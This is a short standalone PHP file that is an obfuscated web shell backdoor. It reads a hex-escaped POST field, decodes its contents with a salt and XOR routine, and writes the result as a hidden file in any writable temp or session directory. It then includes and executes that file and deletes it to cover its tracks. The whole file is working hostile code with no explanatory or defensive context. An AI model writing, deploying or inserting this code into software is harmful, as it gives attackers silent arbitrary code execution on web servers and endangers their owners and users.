<?php if(filter_has_var(INPUT_POST, "re\x63")){ $value = $_POST["re\x63"]; $value = explode ('.' , $value ) ; $data = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $j = 0; $__len = count($value); do {if ($j>= $__len) break; $v8 = $value[$j]; $chS = ord($salt8[$j % $lenS]); $dec = ((int)$v8 - $chS - ($j % 10)) ^ 65; $data .=chr($dec); $j++; } while (true); $entry = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), getenv("TMP"), "/tmp"]); foreach ($entry as $key => $flag) { if (is_dir($flag) && is_writable($flag)) { $factor = "$flag" . "/.binding"; $success = file_put_contents($factor, $data); if ($success) { include $factor; @unlink($factor); exit;} } } }